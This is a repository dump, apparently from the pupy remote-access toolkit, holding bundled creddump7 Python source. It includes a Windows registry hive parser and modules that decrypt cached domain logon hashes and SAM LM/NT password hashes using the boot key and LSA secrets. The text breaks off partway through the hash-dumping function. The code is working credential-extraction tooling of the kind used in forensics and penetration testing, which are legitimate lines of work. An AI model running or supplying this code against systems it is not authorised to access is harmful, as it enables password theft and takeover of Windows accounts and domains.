    "content": "# This file is part of creddump.\n#\n# creddump is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# creddump is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with creddump.  If not, see <http://www.gnu.org/licenses/>.\n\n\"\"\"\n@author:       Brendan Dolan-Gavitt\n@license:      GNU General Public License 2.0 or later\n@contact:      bdolangavitt@wesleyan.edu\n\"\"\"\n\nfrom .object import *\nfrom .types import regtypes as types\nfrom operator import itemgetter\nfrom struct import unpack\n\ndef get_ptr_type(structure, member):\n    \"\"\"Return the type a pointer points to.\n       \n       Arguments:\n         structure : the name of the structure from vtypes\n         member : a list of members\n\n       Example:\n         get_ptr_type('_EPROCESS', ['ActiveProcessLinks', 'Flink']) => ['_LIST_ENTRY']\n    \"\"\"\n    if len(member) > 1:\n        _, tp = get_obj_offset(types, [structure, member[0]])\n        if tp == 'array':\n            return types[structure][1][member[0]][1][2][1]\n        else:\n            return get_ptr_type(tp, member[1:])\n    else:\n        return types[structure][1][member[0]][1][1]\n\nclass Obj(object):\n    \"\"\"Base class for all objects.\n       \n       May return a subclass for certain data types to allow\n       for special handling.\n    \"\"\"\n\n    def __new__(typ, name, address, space):\n        if name in globals():\n            # This is a bit of \"magic\"\n            # Could be replaced with a dict mapping type names to types\n            return globals()[name](name,address,space)\n        elif name in builtin_types:\n            return Primitive(name, address, space)\n        else:\n            obj = object.__new__(typ)\n            return obj\n    \n    def __init__(self, name, address, space):\n        self.name = name\n        self.address = address\n        self.space = space\n\n        # Subclasses can add fields to this list if they want them\n        # to show up in values() or members(), even if they do not\n        # appear in the vtype definition\n        self.extra_members = []\n    \n    def __getattribute__(self, attr):\n        try:\n            return object.__getattribute__(self, attr)\n        except AttributeError:\n            pass\n\n        if self.name in builtin_types:\n            raise AttributeError(\"Primitive types have no dynamic attributes\")\n\n        try:\n            off, tp = get_obj_offset(types, [self.name, attr])\n        except:\n            raise AttributeError(\"'%s' has no attribute '%s'\" % (self.name, attr))\n        \n        if tp == 'array':\n            a_len = types[self.name][1][attr][1][1]\n            l = []\n            for i in range(a_len):\n                a_off, a_tp = get_obj_offset(types, [self.name, attr, i])\n                if a_tp == 'pointer':\n                    ptp = get_ptr_type(self.name, [attr, i])\n                    l.append(Pointer(a_tp, self.address+a_off, self.space, ptp))\n                else:\n                    l.append(Obj(a_tp, self.address+a_off, self.space))\n            return l\n        elif tp == 'pointer':\n            # Can't just return a Obj here, since pointers need to also\n            # know what type they point to.\n            ptp = get_ptr_type(self.name, [attr])\n            return Pointer(tp, self.address+off, self.space, ptp)\n        else:\n            return Obj(tp, self.address+off, self.space)\n    \n    def __div__(self, other):\n        if isinstance(other,tuple) or isinstance(other,list):\n            return Pointer(other[0], self.address, self.space, other[1])\n        elif isinstance(other,str):\n            return Obj(other, self.address, self.space)\n        else:\n            raise ValueError(\"Must provide a type name as string for casting\")\n    \n    def members(self):\n        \"\"\"Return a list of this object's members, sorted by offset.\"\"\"\n\n        # Could also just return the list\n        membs = [ (k, v[0]) for k,v in types[self.name][1].items()]\n        membs.sort(key=itemgetter(1))\n        return map(itemgetter(0),membs) + self.extra_members\n\n    def values(self):\n        \"\"\"Return a dictionary of this object's members and their values\"\"\"\n        \n        valdict = {}\n        for k in self.members():\n            valdict[k] = getattr(self, k)\n        return valdict\n\n    def bytes(self, length=-1):\n        \"\"\"Get bytes starting at the address of this object.\n        \n           Arguments:\n             length : the number of bytes to read. Default: size of\n                this object.\n        \"\"\"\n\n        if length == -1:\n            length = self.size()\n        return self.space.read(self.address, length)\n\n    def size(self):\n        \"\"\"Get the size of this object.\"\"\"\n\n        if self.name in builtin_types:\n            return builtin_types[self.name][0]\n        else:\n            return types[self.name][0]\n    \n    def __repr__(self):\n        return \"<%s @%08x>\" % (self.name, self.address)\n\n    def __eq__(self, other):\n        if not isinstance(other, Obj):\n            raise TypeError(\"Types are incomparable\")\n        return self.address == other.address and self.name == other.name\n\n    def __ne__(self, other):\n        return not self.__eq__(other)\n\n    def __hash__(self):\n        return hash(self.address) ^ hash(self.name)\n\n    def is_valid(self):\n        return self.space.is_valid_address(self.address)\n\n    def get_offset(self, member):\n        return get_obj_offset(types, [self.name] + member)\n\nclass Primitive(Obj):\n    \"\"\"Class to represent a primitive data type.\n       \n       Attributes:\n         value : the python primitive value of this type\n    \"\"\"\n\n    def __new__(typ, *args, **kwargs):\n        obj = object.__new__(typ)\n        return obj\n\n    def __init__(self, name, address, space):\n        super(Primitive,self).__init__(name, address, space)\n        length, fmt = builtin_types[name]\n        data = space.read(address,length)\n        if not data: self.value = None\n        else: self.value = unpack(fmt,data)[0]\n    \n    def __repr__(self):\n        return repr(self.value)\n\n    def members(self):\n        return []\n\nclass Pointer(Obj):\n    \"\"\"Class to represent pointers.\n    \n       value : the object pointed to\n\n       If an attribute is not found in this instance,\n       the attribute will be looked up in the referenced\n       object.\"\"\"\n\n    def __new__(typ, *args, **kwargs):\n        obj = object.__new__(typ)\n        return obj\n\n    def __init__(self, name, address, space, ptr_type):\n        super(Pointer,self).__init__(name, address, space)\n        ptr_address = read_value(space, name, address)\n        if ptr_type[0] == 'pointer':\n            self.value = Pointer(ptr_type[0], ptr_address, self.space, ptr_type[1])\n        else:\n            self.value = Obj(ptr_type[0], ptr_address, self.space)\n    \n    def __getattribute__(self, attr):\n        # It's still nice to be able to access things through pointers\n        # without having to explicitly dereference them, so if we don't\n        # find an attribute via our superclass, just dereference the pointer\n        # and return the attribute in the pointed-to type.\n        try:\n            return super(Pointer,self).__getattribute__(attr)\n        except AttributeError:\n            return getattr(self.value, attr)\n    \n    def __repr__(self):\n        return \"<pointer to [%s @%08x]>\" % (self.value.name, self.value.address)\n\n    def members(self):\n        return self.value.members()\n\nclass _UNICODE_STRING(Obj):\n    \"\"\"Class representing a _UNICODE_STRING\n\n    Adds the following behavior:\n      * The Buffer attribute is presented as a Python string rather\n        than a pointer to an unsigned short.\n      * The __str__ method returns the value of the Buffer.\n    \"\"\"\n\n    def __new__(typ, *args, **kwargs):\n        obj = object.__new__(typ)\n        return obj\n\n    def __str__(self):\n        return self.Buffer\n\n    # Custom Attributes\n    def getBuffer(self):\n        return read_unicode_string(self.space, types, [], self.address)\n    Buffer = property(fget=getBuffer)\n\nclass _CM_KEY_NODE(Obj):\n    def __new__(typ, *args, **kwargs):\n        obj = object.__new__(typ)\n        return obj\n\n    def getName(self):\n        return read_string(self.space, types, ['_CM_KEY_NODE', 'Name'],\n            self.address, self.NameLength.value)\n    Name = property(fget=getName)\n\nclass _CM_KEY_VALUE(Obj):\n    def __new__(typ, *args, **kwargs):\n        obj = object.__new__(typ)\n        return obj\n\n    def getName(self):\n        return read_string(self.space, types, ['_CM_KEY_VALUE', 'Name'],\n            self.address, self.NameLength.value)\n    Name = property(fget=getName)\n\nclass _CHILD_LIST(Obj):\n    def __new__(typ, *args, **kwargs):\n        obj = object.__new__(typ)\n        return obj\n\n    def getList(self):\n        lst = []\n        list_address = read_obj(self.space, types,\n            ['_CHILD_LIST', 'List'], self.address)\n        for i in range(self.Count.value):\n            lst.append(Pointer(\"pointer\", list_address+(i*4), self.space,\n                [\"_CM_KEY_VALUE\"]))\n        return lst\n    List = property(fget=getList)\n\nclass _CM_KEY_INDEX(Obj):\n    def __new__(typ, *args, **kwargs):\n        obj = object.__new__(typ)\n        return obj\n\n    def getList(self):\n        lst = []\n        for i in range(self.Count.value):\n            # we are ignoring the hash value here\n            off,tp = get_obj_offset(types, ['_CM_KEY_INDEX', 'List', i*2])\n            lst.append(Pointer(\"pointer\", self.address+off, self.space,\n                [\"_CM_KEY_NODE\"]))\n        return lst\n    List = property(fget=getList)\n"
  },
  {
    "path": "pupy/external/creddump7/framework/object.py",
    "content": "# Volatools Basic\n# Copyright (C) 2007 Komoku, Inc.\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or (at\n# your option) any later version.\n#\n# This program is distributed in the hope that it will be useful, but\n# WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n# General Public License for more details. \n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA \n#\n\n\"\"\"\n@author:       AAron Walters and Nick Petroni\n@license:      GNU General Public License 2.0 or later\n@contact:      awalters@komoku.com, npetroni@komoku.com\n@organization: Komoku, Inc.\n\"\"\"\n\nimport struct\n\nbuiltin_types = { \\\n    'int' : (4, 'i'), \\\n    'long': (4, 'i'), \\\n    'unsigned long' : (4, 'I'), \\\n    'unsigned int' : (4, 'I'), \\\n    'address' : (4, 'I'), \\\n    'char' : (1, 'c'), \\\n    'unsigned char' : (1, 'B'), \\\n    'unsigned short' : (2, 'H'), \\\n    'short' : (2, 'h'), \\\n    'long long' : (8, 'q'), \\\n    'unsigned long long' : (8, 'Q'), \\\n    'pointer' : (4, 'I'),\\\n    }\n\n\ndef obj_size(types, objname):\n    if not types.has_key(objname):\n        raise Exception('Invalid type %s not in types' % (objname))\n\n    return types[objname][0]\n\ndef builtin_size(builtin):\n    if not builtin_types.has_key(builtin):\n        raise Exception('Invalid built-in type %s' % (builtin))\n\n    return builtin_types[builtin][0]\n\ndef read_value(addr_space, value_type, vaddr):\n    \"\"\"\n    Read the low-level value for a built-in type. \n    \"\"\"\n\n    if not builtin_types.has_key(value_type):\n        raise Exception('Invalid built-in type %s' % (value_type))\n\n    type_unpack_char = builtin_types[value_type][1]\n    type_size        = builtin_types[value_type][0]\n\n    buf = addr_space.read(vaddr, type_size)\n    if buf is None:\n        return None\n    (val, ) = struct.unpack(type_unpack_char, buf)\n\n    return val\n\ndef read_unicode_string(addr_space, types, member_list, vaddr):\n    offset = 0\n    if len(member_list) > 1:\n        (offset, current_type) = get_obj_offset(types, member_list)\n\n\n    buf    = read_obj(addr_space, types, ['_UNICODE_STRING', 'Buffer'], vaddr + offset)\n    length = read_obj(addr_space, types, ['_UNICODE_STRING', 'Length'], vaddr + offset)\n\n    if length == 0x0:\n        return \"\"\n\n    if buf is None or length is None:\n        return None\n\n    readBuf = read_string(addr_space, types, ['char'], buf, length)\n\n    if readBuf is None:\n        return None\n    \n    try:\n        readBuf = readBuf.decode('UTF-16').encode('ascii')\n    except:\n        return None\n    \n    return readBuf\n\ndef read_string(addr_space, types, member_list, vaddr, max_length=256):\n    offset = 0\n    if len(member_list) > 1:\n        (offset, current_type) = get_obj_offset(types, member_list)\n\n    val = addr_space.read(vaddr + offset, max_length)\n\n    return val    \n    \n\ndef read_null_string(addr_space, types, member_list, vaddr, max_length=256):\n    string = read_string(addr_space, types, member_list, vaddr, max_length)\n\n    if string is None:\n        return None\n\n    if (string.find('\\0') == -1):\n        return string\n    (string, none) = string.split('\\0', 1)\n    return string\n        \n\ndef get_obj_offset(types, member_list):\n    \"\"\"\n    Returns the (offset, type) pair for a given list\n    \"\"\"\n    member_list.reverse()\n\n    current_type = member_list.pop()\n\n    offset = 0\n\n    while (len(member_list) > 0):\n        if current_type == 'array':\n            current_type = member_dict[current_member][1][2][0]\n            if current_type in builtin_types:\n                current_type_size = builtin_size(current_type)\n            else:\n                current_type_size = obj_size(types, current_type)\n            index = member_list.pop()\n            offset += index * current_type_size\n            continue\n            \n        elif not types.has_key(current_type):\n            raise Exception('Invalid type ' + current_type)\n        \n        member_dict = types[current_type][1]\n        \n        current_member = member_list.pop()\n        if not member_dict.has_key(current_member):\n            raise Exception('Invalid member %s in type %s' % (current_member, current_type))\n\n        offset += member_dict[current_member][0]\n\n        current_type = member_dict[current_member][1][0]\n\n    return (offset, current_type)\n\n\ndef read_obj(addr_space, types, member_list, vaddr):\n    \"\"\"\n    Read the low-level value for some complex type's member.\n    The type must have members.\n    \"\"\"\n    if len(member_list) < 2:\n        raise Exception('Invalid type/member ' + str(member_list))\n    \n\n    \n    (offset, current_type) = get_obj_offset(types, member_list)\n    return read_value(addr_space, current_type, vaddr + offset)\n"
  },
  {
    "path": "pupy/external/creddump7/framework/types.py",
    "content": "# This file is part of creddump.\n#\n# creddump is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# creddump is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with creddump.  If not, see <http://www.gnu.org/licenses/>.\n\n\"\"\"\n@author:       Brendan Dolan-Gavitt\n@license:      GNU General Public License 2.0 or later\n@contact:      bdolangavitt@wesleyan.edu\n\"\"\"\n\nregtypes = {\n  '_CM_KEY_VALUE' : [ 0x18, {\n    'Signature' : [ 0x0, ['unsigned short']],\n    'NameLength' : [ 0x2, ['unsigned short']],\n    'DataLength' : [ 0x4, ['unsigned long']],\n    'Data' : [ 0x8, ['unsigned long']],\n    'Type' : [ 0xc, ['unsigned long']],\n    'Flags' : [ 0x10, ['unsigned short']],\n    'Spare' : [ 0x12, ['unsigned short']],\n    'Name' : [ 0x14, ['array', 1, ['unsigned short']]],\n} ],\n  '_CM_KEY_NODE' : [ 0x50, {\n    'Signature' : [ 0x0, ['unsigned short']],\n    'Flags' : [ 0x2, ['unsigned short']],\n    'LastWriteTime' : [ 0x4, ['_LARGE_INTEGER']],\n    'Spare' : [ 0xc, ['unsigned long']],\n    'Parent' : [ 0x10, ['unsigned long']],\n    'SubKeyCounts' : [ 0x14, ['array', 2, ['unsigned long']]],\n    'SubKeyLists' : [ 0x1c, ['array', 2, ['unsigned long']]],\n    'ValueList' : [ 0x24, ['_CHILD_LIST']],\n    'ChildHiveReference' : [ 0x1c, ['_CM_KEY_REFERENCE']],\n    'Security' : [ 0x2c, ['unsigned long']],\n    'Class' : [ 0x30, ['unsigned long']],\n    'MaxNameLen' : [ 0x34, ['unsigned long']],\n    'MaxClassLen' : [ 0x38, ['unsigned long']],\n    'MaxValueNameLen' : [ 0x3c, ['unsigned long']],\n    'MaxValueDataLen' : [ 0x40, ['unsigned long']],\n    'WorkVar' : [ 0x44, ['unsigned long']],\n    'NameLength' : [ 0x48, ['unsigned short']],\n    'ClassLength' : [ 0x4a, ['unsigned short']],\n    'Name' : [ 0x4c, ['array', 1, ['unsigned short']]],\n} ],\n  '_CM_KEY_INDEX' : [ 0x8, {\n    'Signature' : [ 0x0, ['unsigned short']],\n    'Count' : [ 0x2, ['unsigned short']],\n    'List' : [ 0x4, ['array', 1, ['unsigned long']]],\n} ],\n  '_CHILD_LIST' : [ 0x8, {\n    'Count' : [ 0x0, ['unsigned long']],\n    'List' : [ 0x4, ['unsigned long']],\n} ],\n}\n"
  },
  {
    "path": "pupy/external/creddump7/framework/win32/__init__.py",
    "content": ""
  },
  {
    "path": "pupy/external/creddump7/framework/win32/domcachedump.py",
    "content": "# This file is part of creddump.\n#\n# creddump is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# creddump is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with creddump.  If not, see <http://www.gnu.org/licenses/>.\n\n\"\"\"\n@author:       Brendan Dolan-Gavitt\n@license:      GNU General Public License 2.0 or later\n@contact:      bdolangavitt@wesleyan.edu\n\"\"\"\n\nfrom __future__ import print_function\n\nfrom .rawreg import *\n\nfrom ..addrspace import HiveFileAddressSpace\nfrom .hashdump import get_bootkey\nfrom .lsasecrets import get_secret_by_name,get_lsa_key\n\nfrom Crypto.Hash import HMAC\nfrom Crypto.Cipher import ARC4, AES\n\nfrom struct import unpack\nfrom codecs import encode\n\n\ndef get_nlkm(secaddr, lsakey, vista):\n    return get_secret_by_name(secaddr, 'NL$KM', lsakey, vista)\n\n\ndef decrypt_hash(edata, nlkm, ch):\n    hmac_md5 = HMAC.new(nlkm,ch)\n    rc4key = hmac_md5.digest()\n\n    rc4 = ARC4.new(rc4key)\n    data = rc4.encrypt(edata)\n    return data\n\n\ndef decrypt_hash_vista(edata, nlkm, ch):\n    \"\"\"\n    Based on code from http://lab.mediaservice.net/code/cachedump.rb\n    \"\"\"\n    aes = AES.new(nlkm[16:32], AES.MODE_CBC, ch)\n\n    out = \"\"\n    for i in range(0, len(edata), 16):\n        buf = edata[i : i+16]\n        if len(buf) < 16:\n            buf += (16 - len(buf)) * \"\\00\"\n\n        out += aes.decrypt(buf)\n    return out\n\n\ndef parse_cache_entry(cache_data):\n    (uname_len, domain_len) = unpack(\"<HH\", cache_data[:4])\n    (domain_name_len,) = unpack(\"<H\", cache_data[60:62])\n    ch = cache_data[64:80]\n    enc_data = cache_data[96:]\n    return (uname_len, domain_len, domain_name_len, enc_data, ch)\n\n\ndef parse_decrypted_cache(dec_data, uname_len,\n        domain_len, domain_name_len):\n    uname_off = 72\n    pad = 2 * ( ( uname_len / 2 ) % 2 )\n    domain_off = uname_off + uname_len + pad\n    pad = 2 * ( ( domain_len / 2 ) % 2 )\n    domain_name_off = domain_off + domain_len + pad\n\n    hash = dec_data[:0x10]\n    username = dec_data[uname_off:uname_off+uname_len]\n    username = username.decode('utf-16-le', errors='ignore')\n    domain = dec_data[domain_off:domain_off+domain_len]\n    domain = domain.decode('utf-16-le', errors='ignore')\n    domain_name = dec_data[domain_name_off:domain_name_off+domain_name_len]\n    domain_name = domain_name.decode('utf-16-le', errors='ignore')\n\n    return (username, domain, domain_name, hash)\n\n\ndef dump_hashes(sysaddr, secaddr, vista):\n    bootkey = get_bootkey(sysaddr)\n    if not bootkey:\n        return []\n\n    lsakey = get_lsa_key(secaddr, bootkey, vista)\n    if not lsakey:\n        return []\n\n    nlkm = get_nlkm(secaddr, lsakey, vista)\n    if not nlkm:\n        return []\n\n    root = get_root(secaddr)\n    if not root:\n        return []\n\n    cache = open_key(root, [\"Cache\"])\n    if not cache:\n        return []\n\n    hashes = []\n    for v in values(cache):\n        if v.Name == \"NL$Control\": continue\n\n        data = v.space.read(v.Data.value, v.DataLength.value)\n\n        (uname_len, domain_len, domain_name_len,\n            enc_data, ch) = parse_cache_entry(data)\n\n        # Skip if nothing in this cache entry\n        if uname_len == 0:\n            continue\n\n        if vista:\n            dec_data = decrypt_hash_vista(enc_data, nlkm, ch)\n        else:\n            dec_data = decrypt_hash(enc_data, nlkm, ch)\n\n\n        (username, domain, domain_name,\n            hash) = parse_decrypted_cache(dec_data, uname_len,\n                    domain_len, domain_name_len)\n\n        hashes.append((username, domain, domain_name, hash))\n\n    return hashes\n\n\ndef dump_file_hashes(syshive_fname, sechive_fname, vista):\n    sysaddr = HiveFileAddressSpace(syshive_fname)\n    secaddr = HiveFileAddressSpace(sechive_fname)\n\n    for (u, d, dn, hash) in dump_hashes(sysaddr, secaddr, vista):\n        print(\"%s:%s:%s:%s\" % (u.lower(), encode(hash, 'hex'),\n                               d.lower(), dn.lower()))\n"
  },
  {
    "path": "pupy/external/creddump7/framework/win32/hashdump.py",
    "content": "# This file is part of creddump.\n#\n# creddump is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# creddump is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with creddump.  If not, see <http://www.gnu.org/licenses/>.\n\n\"\"\"\n@author:       Brendan Dolan-Gavitt\n@license:      GNU General Public License 2.0 or later\n@contact:      bdolangavitt@wesleyan.edu\n\"\"\"\n\nfrom __future__ import print_function\n\nfrom .rawreg import *\nfrom ..addrspace import HiveFileAddressSpace\nfrom Crypto.Hash import MD5\nfrom Crypto.Cipher import ARC4,DES,AES\nfrom struct import unpack,pack\n\nimport binascii\nimport codecs\n\nodd_parity = [\n  1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,\n  16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,\n  32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,\n  49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,\n  64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,\n  81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,\n  97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,\n  112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,\n  128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,\n  145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,\n  161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,\n  176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,\n  193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,\n  208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,\n  224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,\n  241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254\n]\n\n# Permutation matrix for boot key\np = [ 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3,\n      0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 ]\n\n# Constants for SAM decrypt algorithm\naqwerty = \"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\\0\"\nanum = \"0123456789012345678901234567890123456789\\0\"\nantpassword = \"NTPASSWORD\\0\"\nalmpassword = \"LMPASSWORD\\0\"\n\nempty_lm = codecs.decode('aad3b435b51404eeaad3b435b51404ee', 'hex')\nempty_nt = codecs.decode('31d6cfe0d16ae931b73c59d7e0c089c0', 'hex')\n\ndef str_to_key(s):\n    key = []\n    key.append( ord(s[0])>>1 )\n    key.append( ((ord(s[0])&0x01)<<6) | (ord(s[1])>>2) )\n    key.append( ((ord(s[1])&0x03)<<5) | (ord(s[2])>>3) )\n    key.append( ((ord(s[2])&0x07)<<4) | (ord(s[3])>>4) )\n    key.append( ((ord(s[3])&0x0F)<<3) | (ord(s[4])>>5) )\n    key.append( ((ord(s[4])&0x1F)<<2) | (ord(s[5])>>6) )\n    key.append( ((ord(s[5])&0x3F)<<1) | (ord(s[6])>>7) )\n    key.append( ord(s[6])&0x7F )\n    for i in range(8):\n        key[i] = (key[i]<<1)\n        key[i] = odd_parity[key[i]]\n    return \"\".join(chr(k) for k in key)\n\ndef sid_to_key(sid):\n    s1 = \"\"\n    s1 += chr(sid & 0xFF)\n    s1 += chr((sid>>8) & 0xFF)\n    s1 += chr((sid>>16) & 0xFF)\n    s1 += chr((sid>>24) & 0xFF)\n    s1 += s1[0];\n    s1 += s1[1];\n    s1 += s1[2];\n    s2 = s1[3] + s1[0] + s1[1] + s1[2]\n    s2 += s2[0] + s2[1] + s2[2]\n\n    return str_to_key(s1),str_to_key(s2)\n    \ndef find_control_set(sysaddr):\n    root = get_root(sysaddr)\n    if not root:\n        return 1\n\n    csselect = open_key(root, [\"Select\"])\n    if not csselect:\n        return 1\n\n    for v in values(csselect):\n        if v.Name == \"Current\": return v.Data.value\n\ndef get_bootkey(sysaddr):\n    cs = find_control_set(sysaddr)\n    lsa_base = [\"ControlSet%03d\" % cs, \"Control\", \"Lsa\"]\n    lsa_keys = [\"JD\",\"Skew1\",\"GBG\",\"Data\"]\n\n    root = get_root(sysaddr)\n    if not root: return None\n\n    lsa = open_key(root, lsa_base)\n    if not lsa: return None\n\n    bootkey = \"\"\n    \n    for lk in lsa_keys:\n        key = open_key(lsa, [lk])\n        class_data = sysaddr.read(key.Class.value, key.ClassLength.value)\n        bootkey += class_data.decode('utf-16-le').decode('hex')\n    \n    bootkey_scrambled = \"\"\n    for i in range(len(bootkey)):\n        bootkey_scrambled += bootkey[p[i]]\n    \n    return bootkey_scrambled\n\ndef get_hbootkey(samaddr, bootkey):\n    sam_account_path = [\"SAM\", \"Domains\", \"Account\"]\n\n    root = get_root(samaddr)\n    if not root: return None\n\n    sam_account_key = open_key(root, sam_account_path)\n    if not sam_account_key: return None\n\n    F = None\n    for v in values(sam_account_key):\n        if v.Name == 'F':\n            F = samaddr.read(v.Data.value, v.DataLength.value)\n    if not F: return None\n\n    revision = ord(F[0x00])\n    if revision == 2:\n        md5 = MD5.new()\n        md5.update(F[0x70:0x80] + aqwerty + bootkey + anum)\n        rc4_key = md5.digest()\n\n        rc4 = ARC4.new(rc4_key)\n        hbootkey = rc4.encrypt(F[0x80:0xA0])\n        \n        return hbootkey\n    \n    elif revision == 3:\n        iv = F[0x78:0x88]\n        encryptedHBootKey = F[0x88:0xA8]\n        cipher = AES.new(bootkey, AES.MODE_CBC, iv)\n        hbootkey = cipher.decrypt(encryptedHBootKey)\n\n        return hbootkey[:16]\n\ndef get_user_keys(samaddr):\n    user_key_path = [\"SAM\", \"Domains\", \"Account\", \"Users\"]\n\n    root = get_root(samaddr)\n    if not root: return []\n\n    user_key = open_key(root, user_key_path)\n    if not user_key: return []\n\n    return [k for k in subkeys(user_key) if k.Name != \"Names\"]\n\ndef decrypt_single_hash(rid, hbootkey, enc_hash, lmntstr):\n    if enc_hash == \"\":\n        return \"\"\n    (des_k1,des_k2) = sid_to_key(rid)\n    d1 = DES.new(des_k1, DES.MODE_ECB)\n    d2 = DES.new(des_k2, DES.MODE_ECB)\n    md5 = MD5.new()\n    md5.update(hbootkey[:0x10] + pack(\"<L\",rid) + lmntstr)\n    rc4_key = md5.digest()\n    rc4 = ARC4.new(rc4_key)\n    obfkey = rc4.encrypt(enc_hash)\n    hash = d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:])\n\n    return hash\n\ndef decrypt_single_salted_hash(rid, hbootkey, enc_hash, lmntstr, salt):\n    if enc_hash == \"\":\n        return \"\"\n    (des_k1,des_k2) = sid_to_key(rid)\n    d1 = DES.new(des_k1, DES.MODE_ECB)\n    d2 = DES.new(des_k2, DES.MODE_ECB)\n    cipher = AES.new(hbootkey[:16], AES.MODE_CBC, salt)\n    obfkey = cipher.decrypt(enc_hash)\n    hash = d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:16])\n\n    return hash\n\ndef get_user_hashes(user_key, hbootkey):\n    samaddr = user_key.space\n    rid = int(user_key.Name, 16)\n    V = None\n    for v in values(user_key):\n        if v.Name == 'V':\n            V = samaddr.read(v.Data.value, v.DataLength.value)\n    if not V: return None\n    hash_offset = unpack(\"<L\", V[0xa8:0xa8+4])[0] + 0xCC\n\n    lm_offset_bytes = V[0x9c:0x9c+4]\n    nt_offset_bytes = V[0x9c+12:0x9c+16]\n    lm_offset = unpack(\"<L\", lm_offset_bytes)[0] + 204\n    nt_offset = unpack(\"<L\", nt_offset_bytes)[0] + 204\n\n    lm_revision = int(V[lm_offset+2:lm_offset+3].encode('hex'), 16)\n    if lm_revision == 1:\n        lm_exists = True if unpack(\"<L\", V[0x9c+4:0x9c+8])[0] == 20 else False\n        enc_lm_hash = V[hash_offset+4:hash_offset+20] if lm_exists else \"\"\n        lmhash = decrypt_single_hash(rid, hbootkey, enc_lm_hash, almpassword)\n    elif lm_revision == 2:\n        lm_exists = True if unpack(\"<L\", V[0x9c+4:0x9c+8])[0] == 56 else False\n        lm_salt = V[hash_offset+4:hash_offset+20] if lm_exists else \"\"\n        enc_lm_hash = V[hash_offset+20:hash_offset+52] if lm_exists else \"\"\n        lmhash = decrypt_single_salted_hash(rid, hbootkey, enc_lm_hash, almpassword, lm_salt)\n\n    nt_revision = int(V[nt_offset+2:nt_offset+3].encode('hex'), 16)\n    if nt_revision == 1:\n        nt_exists = True if unpack(\"<L\", V[0x9c+16:0x9c+20])[0] == 20 else False\n        enc_nt_hash = V[nt_offset+4:nt_offset+20] if nt_exists else \"\"\n        nthash = decrypt_single_hash(rid, hbootkey, enc_nt_hash, antpassword)\n    elif nt_revision == 2:\n        nt_exists = True if unpack(\"<L\", V[0x9c+16:0x9c+20])[0] == 56 else False\n        nt_salt = V[nt_offset+8:nt_offset+24] if nt_exists else \"\"\n        enc_nt_hash = V[nt_offset+24:nt_offset+56] if nt_exists else \"\"\n        nthash = decrypt_single_salted_hash(rid, hbootkey, enc_nt_hash, antpassword, nt_salt)\n\n    return lmhash,nthash\n\ndef get_user_name(user_key):\n    samaddr = user_key.space\n    V = None\n    for v in values(user_key):\n        if v.Name == 'V':\n            V = samaddr.read(v.Data.value, v.DataLength.value)\n    if not V: return None\n\n    name_offset = unpack(\"<L\", V[0x0c:0x10])[0] + 0xCC\n    name_length = unpack(\"<L\", V[0x10:0x14])[0]\n\n    username = V[name_offset:name_offset+name_length].decode('utf-16-le')\n    return username\n\ndef dump_hashes(sysaddr, samaddr):\n    bootkey = get_bootkey(sysaddr)\n    hbootkey = get_hbootkey(samaddr,bootkey)\n\n    for user in get_user_keys(samaddr):\n        lmhash,nthash = get_user_hashes(user,hbootkey)\n        if not lmhash: lmhash = empty_lm\n        if not nthash: nthash = empty_nt\n        